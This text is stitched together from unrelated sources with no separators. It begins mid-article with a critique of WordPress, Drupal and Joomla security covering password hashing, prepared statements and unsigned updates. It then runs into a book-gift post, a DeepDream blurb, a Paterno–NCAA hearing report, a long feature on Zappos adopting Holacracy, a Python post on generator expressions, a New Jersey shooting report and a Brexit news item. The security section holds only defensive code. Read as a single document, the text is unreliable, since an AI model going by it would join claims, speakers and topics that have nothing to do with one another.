In addition to being open source, all three provide a security mechanism to mitigate Cross-Site Request Forgery attacks. We didn't include whether or not plugins/extensions fail to utilize the CSRF mitigation feature in our analysis. If you're using a third-party plugin, don't assume that CSRF vulnerabilities can't or won't happen to your application just because there's a mitigation feature in the core.
Drupal: Context-Aware Output Escaping
The correct way to prevent cross-site scripting vulnerabilities is to escape data on output, not on input.
Escaping on input can lead to bizarre exploitation strategies, e.g. WordPress's stored XSS vulnerability enabled by MySQL column truncation.
You should be saving the original, unaltered copy of any data in case you need to update your escaping strategy to prevent a filter bypass. Escaping on output allows you a measure of agility that input escaping does not. You may, however, cache the escaped data for subsequent requests to improve your application's performance.
The latest versions of Drupal got this right, and should be commended for it.
Joomla: Secure Password Storage and Two-Factor Authentication
Out of the three, Joomla is the only CMS that leverages PHP's native password hashing features. This means that cracking the passwords stored in a modern Joomla app is nontrivial, should one ever be compromised.
Additionally, Joomla now provides two-factor authentication out-of-the-box, which helps mitigate the consequences of weak user passwords.
Joomla: Secure PHP Encryption
In response to our security advisory about JCrypt's design flaws last year, the Joomla team adopted Defuse Security's secure PHP encryption library (version 1.2.1) instead.
While version 2 offers significant improvements over version 1, there are no known security vulnerabilities in that version of Defuse Security's PHP encryption library.
The Bad and the Ugly
Security Deficits in WordPress's Core
WordPress is the only one of the big three content management systems that offers automatic updates, but it does so insecurely.
In order to have secure automatic updates, you need to have a secure code delivery system in place. Secure code delivery has three properties:
Cryptographic signatures: The deliverable was signed by a private key and you can verify the signature with the corresponding public key. Reproducible builds: You can reproduce the deliverable from the source code. Userbase consistency verification: Everyone gets the same thing. Implementations involve append-only data structures, such as Merkle trees, which are also used in certificate transparency and Bitcoin.
WordPress's automatic updates are not cryptographically signed with (an offline) private key. This means if an attacker can compromise their update servers and upload a malicious download, they can install a trojan on 26.6% of the websites on the Internet. The consequences of a compromise of this magnitude cannot be understated. Such an attack could enable financial information fraud and distributed denial of service attacks on a scale we've never seen before, and that our systems are almost certainly incapable of enduring.
Nothing stops an attacker from silently distributing malware through a compromised update server only to targets of interest, since there are no userbase consistency verification protocols in place either.
However, given that WordPress is open source and PHP is an interpreted language, it's fair to give them credit for reproducible builds.
WordPress Does Not Use Prepared Statements
Many WordPress users are surprised to learn that WordPress doesn't use prepared statements, given the existence of wpdb::prepare() .
To understand what's going on, you first need to know what prepared statements actually do:
The application sends the query string (with placeholders) to the database server. The database server responds with a query identifier. Some servers allow you to cache and reuse query identifiers for multiple prepared queries to reduce round trips. The application sends the query identifier and the parameters together to the server.
The reason this is a security boon over escape-then-concatenate is that the query string is never tainted by the parameters. They're sent in separate packets. This is an important distinction; charset-based hacks to bypass mysql_real_escape_string() are dead on arrival when prepared statements are used.
What WordPress's wpdb::prepare() does instead of prepared statements is escape-then-concatenate.
WordPress Salted MD5 for Password Hashing
WordPress users may be surprised to learn that, despite using Phpass (a well-regarded password hashing library written by Solar Designer which offered bcrypt before PHP got a native password hashing API), WordPress doesn't use bcrypt for password storage.
To understand why, first pay attention to this code snippet and this one as well.
If $this->portable_hashes is set to TRUE , it will call $this->crypt_private() (which uses 8192 rounds of MD5).
Where is $this->portable_hashes defined? In the constructor. And, of course, it's always set to TRUE when an object is created in the WordPress core.
Consequently, HashPassword can be greatly simplified to the following snippet:
function HashPassword($password) { if ( strlen( $password ) > 4096 ) { return '*'; } /* these steps are skipped */ $random = $this->get_random_bytes(6); $hash = $this->crypt_private($password, $this->gensalt_private($random)); if (strlen($hash) == 34) return $hash; return '*'; }
One reason for this deviation from Phpass was to gracefully handle corner cases where someone downgrades to a version of PHP too old to support bcrypt without losing the ability to verify existing password hashes.
Security Deficits in Joomla's Core
Joomla doesn't offer automatic security updates. In the event that a security vulnerability is discovered in Joomla and a fix is released, it's up to every individual Joomla site operator to validate and install the update manually. Until the patch is applied, your systems are vulnerable. As a consequence, most Joomla websites still run outdated versions of Joomla.
Joomla Doesn't Provide Prepared Statements
To reiterate: Prepared statements are a way of interacting with a database that, among other things, makes preventing SQL injection simple while eliminating corner cases.
As of 3.6.2, out of Joomla's database drivers, only the PDO driver attempts to support prepared statements. Unfortunately, it is not successful due to a poorly thought out default setting in PHP itself: In order to use actual prepared statements, you have to disable emulated prepared statements.
Instead of this:
$pdo = new PDO(/* ... */);
Do this:
$pdo = (new PDO(/* ... */)) // Turn off emulated prepares. ->setAttribute(PDO::ATTR_EMULATE_PREPARES, false) // Optional, but also recommended: ->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION) ;
As long as the developers working with Joomla's PDO database driver take care to disable emulation, Joomla offers prepared statements. However, this security property isn't included out-of-the-box, and as of 3.6.2, doesn't apply to the default MySQLi driver.
Joomla Doesn't Employ Context-Aware Output Escaping
Modern web applications use templating engines, such as Twig, which provide context-aware output escaping features to mitigate cross-site scripting vulnerabilities.
For example, in the following code snippet, user_data.title will be escaped differently than user_data.body , particularly with respect to quote characters.
<span title="{{ user_data.title|e('html_attr') }}">{{ user_data.body|e('html') }}</span>
Instead, Joomla just blacklists HTML tags in an attempt to prevent the low-hanging fruit. Security experts refer to this as enumerating badness, which is listed as one of the six dumbest ideas in computer security.
Security Deficits in Drupal's Core
Drupal doesn't offer automatic security updates. In the event that a security vulnerability is discovered in Drupal and a fix is released, it's up to every individual Drupal site operator to validate and install the update manually. Until the patch is applied, your systems are vulnerable.
This has already happened once before.
Possibly due to the existence of a historical precedent, some of the Drupal core members are seriously working towards implementing secure automatic updates into Drupal. We've offered the team members some guidance on how to proceed (i.e. since libsodium isn't currently an option for most of their userbase, they're stuck with RSA signatures, which even developers with cryptography experience frequently implement incorrectly).
Drupal Almost Offers Prepared Statements
...except Drupal goes out of its way to use emulated prepared statements instead of actual prepared statements, even though emulated prepared statements suffers from the same fundamental security problem as escaping then concatenating strings. Code and data separation is not upheld.
Drupal uses SHA512Crypt which is Sub-Optimal
There's minor disagreement among cryptographers about which password hashing functions will remain strong against hash cracking in the coming years. Of all the acceptable options, PBKDF2 is certainly the weakest one, and SHA512Crypt is very similar to PBKDF2-SHA512 for practical purposes.
Drupal supports a minimum of PHP 5.5, which means they could just as easily migrate to password_hash() and password_verify() , since those functions are guaranteed to exist. If PHP adopts Argon2i in a future version, Drupal will automatically support it as soon as it becomes the default, with no further code changes necessary.
Everything is Going to Be Okay
All of these security flaws baked into the cornerstones of the software that powers one third of websites on the Internet can be very discouraging. Fortunately, most of these problems are fixable. Refer to how we solved each problem in CMS Airship, for example.
Unfortunately, there are a lot of nontechnical obstacles in the way of making WordPress, Drupal, and Joomla more secure. WordPress developers proudly boast that WordPress powers 1 in 4 websites, and pride themselves on supporting unsupported versions of PHP as a "usability" feature rather than a security liability that could potentially break the Internet for everyone.
At the end of the day, there are two ways to solve this dilemma:
Get the core teams for each large CMS project to take security seriously. Migrate towards a CMS project that already takes security seriously.
100 Selected Poems by E.E. Cummings Franny and Zooey by JD Salinger Trinity: a novel of Ireland by Leon Uris
Pride of Baghdad written by Brian K. Vaughan; Penciled by Niko Henrichon Transmetropolitan v.1 written by Warren Ellis; Penciled by Darick Robertson
A cool compilation CD of slam poetry.
And a nice letter.
I am about done with 100 Selected Poems, and as a collection of poetry, I love it; as a work of art, I am jealous of its mastered sense of aesthetics.
I've read Franny & Zooey before, and I love it (like everything else written by Salinger). I'm really glad to have received these two collected novellas. In my junior year of high school, I lent it to my English teacher, and she never returned it- even after me asking about it.
One day I will read Trinity, but damn is it big: just stacking over 750 pages. lol. I'll get around to this one when my reading plate is less crowded.
I've read and love Pride of Baghdad. You should buy it and read it, too.
While training neural networks to interpret and identify images (hey robot, is that a frying pan or a tennis racket?), researchers found that if they allowed the network to linger on certain elements of a picture (edges, shapes, or complex subjects like a building or a face), it could over-interpret them. It would visualize figures and objects where there were none.
The results are like an LSD trip—and maybe not a good one. If you spend much time on the Internet, you’re probably familiar with the Google robot’s hallucinations. In case you aren’t, here are a few original examples:
In what has turned into a two-part hearing in the Paterno family lawsuit against the NCAA and Penn State, attorneys made oral arguments regarding the claims the Paterno family made in its amended complaint for the case.
Discussion during the first portion of the hearing — which started at 10 a.m. at the Centre County Courthouse before Potter County Judge John Leete, who is specially presiding over the case — was heavily related to the consent decree Penn State agreed to with the NCAA regarding the sanctions.
NCAA attorney Everett Johnson Jr. argued that the plaintiffs’ claims the NCAA held a “gun to the head” of Penn State forcing the university to agree to the unprecedented sanctions is false and that Penn State simply had a choice between two undesirable options – sign the consent decree with provisions like a ban on bowl games or see the entire football program suspended.
“At the end of the day, it’s just not a game on a Saturday,” says Johnson.
Loveland later responded, “It’s not just a football game on a Saturday morning.”
Penn State attorney Daniel Booker also said it appears plaintiffs are dismissive of the university’s position in the case and that there is a perception the NCAA is so powerful that the claims of Penn State are not taken seriously.
“The view the university’s position should be ignored really flies in the face of what is now really two years of complying with the consent decree, which in some important ways has made the university stronger,” Booker says.
Booker acknowledged the consent decree was “harsh,” but at the same time “it did resolve serious threatened litigation.”
The court recessed around noon for 15 minutes. The second portion of the hearing is expected to focus on a subpoena the Paterno family wants to execute, but the NCAA and Penn State oppose.
The disputed proposed subpoena asks for a slew of documents from the Freeh investigation.
The Paterno family is seeking the subpoena as part of a lawsuit against the NCAA and Penn State. In the suit, the family asks for damages related to the sanctions the NCAA leveled against Penn State’s football program following the arrest Sandusky, who is now a convicted pedophile.
The pending subpoena targets the Pepper Hamilton law firm, the successor to Freeh’s original law firm.
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The circle around the bonfire (situated in front of Hsieh’s trailer) included members of his inner circle—downtown resident Ranielle Rivera and Zappos buyers Kristin Colbert and Lauren Randall. The group ebbed and flowed, breaking into smaller circles as it moved to different venues in downtown Las Vegas, many of which Hsieh had personally funded through Downtown Project, and converged at the park just before the stroke of midnight, when Hsieh would begin celebrating his 41st birthday. (Downtown Project is his personal investment in the area surrounding the new Zappos corporate campus, and includes real estate, small businesses, and tech startups.)
Hsieh, front, and friends gather around the bonfire at airstream park a few weeks ago in downtown Las Vegas, where the Zappos CEO currently lives and is attempting to create an “urban Burning Man.”
Hsieh is attempting to create an entrepreneurial utopia that revolves around Zappos, the e-commerce site he helped build in 1999 and has recently relocated from suburban Nevada to the old Las Vegas City Hall. As part of his extreme experimentation with civic and business organization, Hsieh is also delivering a shock to the company’s internal operations by replacing the traditional management structure with a new system called Holacracy, as Quartz has reported.
“We want Zappos to function more like a city and less like a top-down bureaucratic organization,” Hsieh tells Quartz, saying that when cities double in size they become 15% more productive, but when companies double in size, productivity declines. “Look at companies that existed 50 years ago in the Fortune 500—most don’t exist today. Companies tend to die and cities don’t.”
Hsieh’s experiments with corporate organization make Zappos an important laboratory for confronting some of the plagues of large companies, including employee disenchantment and inability to take risks, move quickly, surface problems, and tap into the full staff’s best ideas. A wave of other companies, many of them tech startups, are similarly trying to reengineer management practices.
Since moving from San Francisco to Las Vegas in 2004, Zappos has struggled with attracting engineering talent. More recently the company experienced what some call a tech exodus—bleeding talent to San Francisco and Silicon Valley firms—and is taking seriously its need to attract top-level engineers if it’s going to stay ahead of the curve in e-commerce. The new internal structure, in conjunction with the Downtown Project, is a bet to move Zappos into the next chapter, pushing it to innovate beyond shoes, beyond online retail—to become more of an all-encompassing brand like its parent company Amazon.
“We want Zappos to function more like a city and less like a top-down bureaucratic organization.”
Hsieh is using Holacracy to push his 1,500 employees to operate more like entrepreneurs. Over the past year and a half, he’s stripped all Zappos employees of their titles, at least internally, and is doing away with traditional managers. Through a process called badging, all employees will now have to prove their skills if they want to continue performing certain functions within the company, whether they’ve been around for two months or 10 years. He’s restructuring the company to work more along the principles of an open market—with real-time supply and demand—than a traditional hierarchy and wants his call center, the bread and butter of the company, to operate more like the car-service startup Uber.
“An Uber driver doesn’t have a shift. They can decide to show up or not show up,” he says. “We want to apply that same thing to incoming phone calls. Holacracy, open market, badging—all are going to be a huge part of it. You need all those things to work together. It’s a long process, and we’re still learning. Ninety-nine percent of the company doesn’t know or see the behind-the-scenes work.”
But reengineering Zappos to operate more nimbly has not come without friction, and has likely made it significantly harder to recruit and retain the top technical talent Zappos needs. Many of its employees are frustrated with the new internal structure. Some have left the company because of it. Along with the move to downtown Vegas and a drawn-out migration to Amazon’s SuperCloud technical infrastructure—which many say is the foremost reason for the tech staff departures—Zappos is going through one of the most tumultuous years in the history of the company.
Relinquishing power
At Zappos’ fourth-quarter all-hands meeting in November 2013, human resources head Hollie Delaney stood on stage between Hsieh and longtime executive Fred Mossler with tears in her eyes as she shared her experience using Holacracy. She said she had learned to relinquish power, and as a result, encountered breakthroughs in her relationships with colleagues. For the first time, she and her coworkers were able to “process tensions” in a healthy way. “People would always look to me: ‘Is it OK that I do this?'” Delaney told Quartz last month. ”All the sudden, I saw people break down, fear broken down.”
The auditorium filled with Zappos employees—dressed up in animal costumes in the spirit of the meeting’s theme, “Gone Wild”—fell silent. Some had already begun the process of re-defining their responsibilities and engaging in “tactical” and “governance” meetings as outlined by the Holacracy Constitution. Others were being prepped for the migration to this new management system in 2014.
Aimee Groth Hsieh, left, and longtime Zappos executive Fred Mossler explain the company’s transition to Holacracy at a Zappos all-hands meeting in November 2013. Employees were told the company would no longer have traditional managers and that everyone would be expected to operate more like entrepreneurs, both catalysts to self-organization.
Holacracy is a trademarked system, developed by software engineer Brian Robertson, that’s in many ways a tool to get companies to operate more like software. Robertson uses engineering terminology and likens Holacracy to Apple’s iOS operating system. The system, largely misunderstood as non-hierarchical or flat, actually creates a new hierarchy around work rather than titles.
The term Holacracy is derived from the Greek word holos, which means a whole that’s part of a greater whole. In a Holacratic organization, the company is divided into a collection of circles that are encompassed by the largest internal circle (called the “General Company Circle,” or GCC) and then the board of directors. The system is designed so that circles can be created and disbanded at any time. The vision is for employees to hold multiple roles and move fluidly throughout circles, making it easier to efficiently and frequently reorganize the company. Publishing platform Medium, training and consulting firm David Allen Company, and strategy consultancy UnderCurrent are a few notable companies that have adopted Holacracy.
HolacracyOne A Holacratic organization is made up of a collection of circles. Instead of job titles, employees fill a number of roles and sit in any number of circles. The larger the circle, the greater its domain and scope of influence.
Zappos is the largest company to experiment with the system. The online retailer began by moving its HR and recruiting teams to the new system in early 2013, and now approximately 80% of the company is organized into 250 different circles. A much smaller percentage is actively engaged in practicing Holacracy.
At a HolacracyOne training session last year, employees tried to wrap their heads around the new structure, along with its complicated verbiage. One afternoon they debated how to integrate the Zappos culture into a system that many say can feel robotic.
“At Zappos there’s so much implicit stuff you’re supposed to do because it’s part of the culture,” said a young woman wearing a grey hoodie sitting at a circular table with Zappos and Downtown Project employees. “But where do we put it?”
“Our team does the parades,” a Zappos recruiter chimed in. “But what if some of us don’t do parades? Is it a domain, role, policy?” (Within Holacracy, roles and accountabilities are more narrowly defined, whereas a domain can encompass multiple roles. A policy grants or limits authority within a domain.)
“Policy is really hard because the definition of a normal policy has nothing to do with what we have going on here,” the young woman responded.
Hsieh jumped in: “In general, have a bias against domains.”
“You want to leave people as much freedom as you can,” added Robertson. “If you really need a domain, use it. Be careful with it—it’s a big hammer.”
“The hardest part is operating in two worlds right now,” says Hsieh.
Jamie Naughton, whose external title is chief of staff, says that “in the beginning, you feel that the human element is lost completely. I remember sitting in meetings wanting to scream at the founder of Holacracy, ‘You don’t get it, you don’t get it at all!’ He said, ‘You’ve got to trust the process.’ And I thought, ‘This sucks.’ You just have to wait your turn to speak your opinion.”
Although the system is designed to more evenly distribute power, it’s difficult to ignore longstanding power structures. Many managers are now lead links of circles, tasked with guiding meetings and workflow. But under Holacracy they technically can’t tell employees how to complete that work.
Hsieh says that the responsibilities that used to be held by managers are now split between three roles: lead link, #mentor, and compensation appraiser. (In a tech-y conceit, the #mentor role does actually have a number sign in its name.) The #mentor circle is exactly as it sounds: matching employees with mentors. While lead links are focused on guiding the work itself, mentors are tasked with employee growth and development, and compensation appraisers work with both to determine an employee’s salary. “Manager” is now essentially barred from the Zappos vocabulary; but in casual conversation, employees still use the term.
“The hardest part is operating in two worlds right now,” says Hsieh, who currently sits in 16 circles and holds a few dozen roles including lead link of the “experiential SWAT team” and “contribution appraiser.” He and others explain that becoming familiar with the Holacracy Constitution is like learning the rules of poker, football, or any game. The next step is entering the arena.
“Now they have the basics of the rules,” Alexis Gonzales-Black, a Zappos recruiter who is co-leading the transition, tells Quartz. “2014 was about the scalability of getting the nuts and bolts, the meetings, the circles, the work captured [in the online system called GlassFrog]. 2015 is about the qualitative implementation of Holacracy.”
A bumpy ride
So far, the shift toward Holacracy has been a bumpy ride for Zappos. Reactions within Zappos to the staggered rollout have been mixed; there are pro- and anti-Holacracy camps throughout the company. Many see the system, criticized for being too rigid and dogmatic, as a hindrance to getting work done—especially when it comes to the structure of meetings, which are filled with protocols and don’t allow for small talk. The tech team, consumed with the move to Amazon’s SuperCloud infrastructure, hasn’t had as much time to shift to the new system. Perhaps not surprisingly, many in HR (or what was formerly called HR) are proponents of the system and its benefits. Most Zappos staff, however, are in the midst of the difficult transition that employees refer to as “the dip.”
HolacracyOne, the consultancy that works with companies to implement the system, provides a basic framework but has left big questions unanswered, like compensation and hiring/firing. Some employees have shared with Quartz that they feel they now have more roles for the same pay.
“How do you compensate someone who’s on the phones 50% of time, works 20% in wellness, and 20% in a merchandising role with product?” says Delaney, who is now the lead link of the company’s senior HR circle, called People Ops. “There’s no market-based compensation for that person. Right now we’re trying to figure out what is that world going to look like, and how do we fairly compensate people in that system?”
“When you have a culture that values so much of people’s quirkiness and emotional state and outwardly being kind, cheerful, generous, and happy, sometimes you can make it seem like it’s not OK—even in a very subtle way—to not be happy all the time.”
Zappos has created a compensation appraisal department that is now doing an audit of all salaries and pay grades. The company is known for its zany culture and employee benefits, but not for generous salaries. Call center employees start at $11/hour and are paid $13/hour once they hit the floor. Many current and former tech employees say that their salaries aren’t competitive enough, especially in a current marketplace with high-value startup valuations and lucrative job offers just across the border in California. (The salary-tracking site Glassdoor identifies a snapshot of Zappos developer positions as running somewhere between mid- to below-average market rate.)
The call center, which has around 500 employees (one-third of the company), is currently in “the dip” with Holacracy. Gonzales-Black describes that phase as the difficult shift in mindset. Over time, it’s important that this group engages with the new system well, since it’s on the front line of a company whose reputation relies on customer service. Hsieh’s vision for Zappos’ call center operating like on-demand car service Uber will only work if he gets employees’ buy-in.
“Holacracy has surfaced lots of longstanding tensions,” says Gonzales-Black. “We’re engaging a lot more difficult conversations.” Traditional power dynamics are readily apparent in the call center (its Customer Loyalty Team, or CLT), where supervisors have long called the shots as entry-level employees stay focused on answering phones. Although CLT employees are encouraged to take liberties with customer service, the division has always been clear. Holacracy is ostensibly an attempt to change that—or, at least, provide a veil of empowerment (or some combination of the two). No matter, if it changes how employees view themselves in relation to their work and their colleagues, Hsieh will have succeeded.
Aimee Groth Employees fill the new Zappos courtyard on September 9, 2013, the day that the company moved into its new downtown Las Vegas headquarters. The move kicked off one of the most disruptive periods in the company’s 15-year history.
Asking employees to air their grievances more regularly and honestly at a company where happiness is expected is a necessary risk as well. “When you have a culture that values so much of people’s quirkiness and emotional state and outwardly being kind, cheerful, generous, and happy, sometimes you can make it seem like it’s not OK—even in a very subtle way—to not be happy all the time,” Owen Carver, a former Zappos employee, tells Quartz.
Carver worked for the company’s call center in San Francisco and moved with Zappos to Las Vegas in 2004. He says that in the early days, the division of power was very clear between those who answered phones and the supervisors.
Grievances were processed behind closed doors. He says that call center employees were rarely asked for their feedback, so once he decided to express concerns about the company’s management structure through one of its online customer service forms meant to be used by customers. “I took advantage of the return order system,” he says, “which asked, ‘How can Zappos do a better job?’ I had never been asked that question before.”
While that led to some honest discussions about management, many difficult conversations never took place, says Carver. He recalls Hsieh leaving a copy of the book The Right To Protest on his desk, but Hsieh, known for his hands-off management style, didn’t take the opportunity to start a dialogue. (Hsieh says that he doesn’t remember the incident and adds that the call center is now led by a different team.)
“Things are going to get slower before they get faster.”
Holacracy is intended to bring some of those honest discussions to the forefront. “Maybe [CLT team members] weren’t comfortable expressing those voices before out of fear of being shut down,” Brironni Alex, a former manager who now leads one of the CLT phone circles, tells Quartz. “It’s one of the things we kind of struggle with within the company: relinquishing power and overstepping boundaries. Holacracy makes it easier to call people out and say, ‘What role are you filling right now?’ It’s a system of checks and balances.”
This all raises some fundamental questions: Is this scale of change necessary for a company that already brings in a few billion dollars in revenue annually? (Amazon does not release Zappos’ financial information.) And how much is all of the focus on implementing Holacracy a distraction from the growth of the business itself?
“Every Zapponian has to decide. Is this a company and an organization that I want to follow?
“Things are going to get slower before they get faster,” John Bunch, a software engineer who is leading the transition along with Gonzales-Black, tells Quartz. “There are pockets of strong practice.” Both speak about the power of leveraging Holacracy once the company gets fully up and running. They also acknowledge that the system won’t work for everyone. And like Hsieh, they channel the vision that Holacracy is ultimately about increased adaptability.
“Every Zapponian has to decide,” says Bunch. “Is this a company and an organization that I want to follow along that journey?”
And not every Zappos employee is willing to make the transition. Recent departures since the rollout include David Hannigan, who was brought in as the chief information security officer after the company’s data breach in 2012; Larry Hernandez, a recruiting lead who was in the pilot group for Holacracy; and former CTO Arun Rajan who was part of the tech exodus. Rajan returned this fall as interim COO and says that he now understands the inner workings of the company better since everyone’s roles are more clearly identified. “It’s the best tool we have to move into self organization,” he tells Quartz.
In many cases, Holacracy served as the tipping point for departures. Some former Zappos employees say the system makes it hard to hold staff accountable for meeting deadlines, and get people to take responsibility for things that need to be done. But “for a lot of us who left, Holacracy wasn’t the No. 1 reason,” says a former employee who held a senior role in the company and asked not to be named. “The No. 1 reason is that people don’t understand the strategy for Zappos. What’s the strategy? Part of the strategy is self-organization.”
Groupthink and weak links
Harvard management professor Ethan Bernstein, who has studied Zappos and other companies that are pursuing new modes of organization, tells Quartz that Holacracy isn’t the answer to becoming self-managing. Ultimately, it’s not about whether Holacracy is the answer but instead what problem you’re trying to solve. Holacracy’s biggest value, in Bernstein’s view, is that it provides a framework for effective conflict resolution: “Holacracy replaces that [traditional] structure with a structuring process, at least for particularly frequent kinds of conflicts, to resolve conflicts in a potentially less-hierarchical, more self-organized, and more adaptive fashion.”
Hsieh and other Zappos executives echo Bernstein’s sentiment, and explain that Holacracy is, for now, a catalyst but may not be the long-term solution in moving toward self-organization. “There’s no end date,” says Mossler, who has been with Zappos since the very beginning. “We’ll stay with it as long as it’s the best system.”
“If you’re designing a language from the ground up it’s more logical to get people speaking the same language first and evolve it over time.”
The system has many points of apparent contradiction: while it’s intended to hand control to employees, Holacracy’s ratifier (in this case, Hsieh) maintains the power to disable it at any time. And while staff are encouraged to process tensions and share the floor, they are forced to do so using a specific language. Asking employees to all speak the same language in the name of giving them a voice raises a red flag. Does Holacracy ultimately push employees into groupthink?
Hsieh says groupthink is a risk but that it’s important to first get everyone on board with the system. “The first city grids didn’t have electricity,” he tells Quartz. “It’s not that version one is the end-all be all. … Another analogy is, if there are 100 people and they each speak a different language, none of them will be able to communicate with one another. English may not be the best language for everyone to speak. If you’re designing a language from the ground up it’s more logical to get people speaking the same language first and evolve it over time.”
But Hsieh isn’t trying to convince everyone; he expects a certain amount of turnover in the process. “That’s what happened when we rolled out our core values in 2004, 2005. Some people didn’t love that they could be fired for a values violation.” He adds that between Holacracy and SuperCloud, “not everyone will have the patience to wait.”
Delivering happiness
The experiment is being watched closely by Amazon CEO Jeff Bezos, according to Zappos executives. (Quartz reached out to Amazon for comment but did not hear back.) Hsieh spoke to Bezos about Holacracy and reports that he’s observing Zappos’ deployment of it with interest. This sort of freedom to experiment is something Hsieh fought for early on.
“It doesn’t matter if we’re doing all these experiments as long as we make our financial plan.”
In his book, Delivering Happiness, Hsieh says that he never wanted to sell Zappos but that the company’s board—and, in particular, investor Sequoia Capital, the venture capital firm which kept it afloat with $48 million in the mid-2000s—was getting tired of his “social experiments” and wanted the company to improve profitability. Instead of risk getting forced out, Hsieh decided to sell the company to Amazon, which also values reinvestment over immediate bottom-line growth. Like Amazon, Zappos has long operated with razor-thin margins even as its revenue has grown exponentially. Alfred Lin, Zappos’ former chairman, CFO and COO, says of Hsieh: ”I’ve never seen someone operate so close to zero in my life.” Lin left shortly after the Amazon sale in 2009 and is now a partner at Sequoia.
Hsieh, who says that Zappos will be highly profitable over the long term, is taking full advantage of a parent company that so far has tolerated his social experiments, and taken on some core areas of the Zappos business such as tech infrastructure and product fulfillment. With the sale, the companies informally agreed upon five tenets to guide their relationship, the first of which was Amazon’s promise to allow Zappos to operate independently. “It doesn’t matter if we’re doing all these experiments as long as we make our financial plan,” Hsieh tells Quartz. “Then they leave us alone.”
Hsieh has long shared his vision for making Zappos an all-encompassing customer service brand. For years, he’s even thrown around the idea of creating a Zappos airline (miniature Zappos airplanes sat on employees’ desks back at the old headquarters). With the move to Holacracy, there is now a circle devoted to exploring the airline concept. “Maybe we would have a couple Zappos employees focusing on the food and drinks, trying to emulate the glory days of Pan Am,” he says, “and let the airline [carrier] worry about safety. That’s just one idea we’re looking at.”
His fascination with self-organization goes back to the 1990s when he and Lin would discuss it at LinkExchange—the internet advertising network they built and sold to Microsoft for $265 million—as an ideal way to run a company without having to manage. In Delivering Happiness, which Hsieh finished writing just before closing with Amazon, he hints at rave culture contributing to his early fascination with self-managed systems, likening the synchronicity of crowds moving to a single beat.
Some critics charge that the shift to Holacracy is more about Zappos marketing itself as an innovative company than fundamentally changing how it is run. “If you look at the system, the lead link is really almost like a manager,” says the former senior-level employee. “There was a disconnect between what was being represented internally and externally. You can say all you want, but within Zappos, if you look deeper, the inner circle still dictates.”
At the very least, the company’s move to Holacracy is great publicity for Zappos. Hsieh, a gifted marketer who is lead link of the “Brand Aura and Storytelling” circle, often says that “a great brand is a story that never stops unfolding.” Telling the world that he’s relinquishing some level of power—no matter if it’s actual or perceived—and pushing employees to operate like entrepreneurs is enough to attract the kind of attention and some of the talent the company is looking for. It remains to be seen whether they’ll stick around long enough to buy into Hsieh’s social experiment and whatever comes next.
my_list = [ f ( x ) for x in sequence if cond ( x ) ]
You can also build dictionaries with dictionary comprehensions, and sets with set comprehensions:
my_dict = { k ( x ): v ( x ) for x in sequence if cond ( x ) }
my_set = { f ( x ) for x in sequence if cond ( x ) }
(The syntax allows more complexity than these examples, let’s not get distracted!)
Finally, you can make a generator with similar syntax:
my_generator = ( f ( x ) for x in sequence if cond ( x ) )
Unfortunately, this is called a generator expression, not a generator comprehension. Why not? If the first three are all comprehensions, why isn’t this a comprehension?
PEP 289, Generator Expressions has detailed notes at the end which point out that Raymond Hettinger originally proposed “generator comprehensions,” that they were then resurrected by Peter Norvig as “accumulation displays,” and that Tim Peters suggested the name “generator expressions.” It does not explain why the names changed along the way.
I made a query on Twitter:
OK, #python question I don’t know the answer to: why are they called “generator expressions” and not “generator comprehensions”?
Guido’s reply gets at the heart of the matter:
Originally comprehension was part of the “literal display” notion. GenExprs are not displays.
Matt Boehm found the email where Tim Peters proposed “generator expression” that also has some details.
After reading that, I understand more. First, what’s with the word “comprehension”? As Tim pointed out, the word comes from set theory’s Axiom of Comprehension, which talks about sets formed by applying a predicate (condition) to elements of another set. This is very similar to lists formed by applying a condition to elements of another sequence.
As Guido’s tweet points out, and the subject line of the email thread makes clear (“accumulator display syntax”), the designers at the time were thinking much more about displays than they were about conditions. The word “display” here means that the syntax for the code looks like the data structure it will create. A list display (list comprehension) looks like a list. Same for set and dictionary displays. But there is no generator literal syntax, so there’s nothing for a generator display to look like, so there are no generator displays.
In that original email thread designing the feature, the word “comprehension” became synonymous with “display”, and since generators couldn’t have displays, they also couldn’t have comprehensions.
But as Tim points out in his email, the interesting part of a comprehension is the condition. The heart of the Axiom of Comprehension is the predicate. Perhaps because the condition is optional in a Python comprehension, the focus shifted to the display aspect.
I think we should call them “generator comprehensions” again. We don’t use the term “display” for these things. There’s no reason to link “comprehension” to “display,” and literal syntax.
The four different expressions (list comprehension, dict comprehension, set comprehension, and generator expressions) have an awful lot in common with each other. It would be a great shorthand to be able to discuss their similarities by talking about “comprehensions” and having it cover all four. Their similarities are more than their differences, so let’s use the same word for all four.
UPDATE (1:04pm): We can now confirm that the victim in last night's shooting on Robinson St. passed away at the age of 19. See this story for the update.
NEW BRUNSWICK, NJ—Multiple units responded to a report of a shooting at 44 Robinson Street at around 9:28 last night, where they found a person who had been shot in the chest and shoulder.
It is not immediately clear whether the victim survived the shooting. According to police radio transmissions, the New Brunswick Fire Department was dispatched to the basement of the Robinson Street home to "assist with a technical rescue" at 9:40pm.
About 10 minutes later, a police officer reported finding a "small caliber handgun" in front of 5 Lorain Street. It is not immediately clear if an arrest was made, but police did identify a "possible suspect" in the area.
The suspect was described as a light-skinned black male approximately 6' tall, wearing a grey and white hoodie, white-colored jeans and white shoes. He was said to have fled through backyards, headed towards Louis Street.
Two people, including a teenager, were shot during the afternoon of September 9 on Throop Avenue. On Saturday morning, a 20-year-old man was shot on Easton Avenue shortly after 2am.
Restricting immigration will be at heart of Brexit deal, Theresa May says
Theresa May has agreed with her cabinet that restricting immigration will be a red line in any negotiations with the EU, in a move that experts claim will end Britain’s membership of the single market.
The prime minister and her team, who met at Chequers – the PM’s country retreat – also confirmed that MPs will not be given a vote before the government triggers article 50, beginning the two-year countdown to a British exit.
What the UK decides it wants from Brexit may not be what it gets Read more
“There was a strong emphasis on pushing ahead to article 50 to lead Britain successfully out of the European Union – with no need for a parliamentary vote,” May’s spokeswoman said, before setting out how restrictions to freedom of movement would be at the centre of any Brexit deal.
“Several cabinet members made it clear that we are leaving the EU but not leaving Europe, with a decisive view that the model we are seeking is one unique to the United Kingdom and not an off-the-shelf solution,” she said.
“This must mean controls on the numbers of people who come to Britain from Europe but also a positive outcome for those who wish to trade goods and services.”
May began the session, which is the first cabinet meeting since the summer break, by telling her ministers that there will be “no attempts to stay in the EU by the back door”.
She said that meant no second referendum, before restating the slogan from the early part of her premiership: “Brexit means Brexit”.
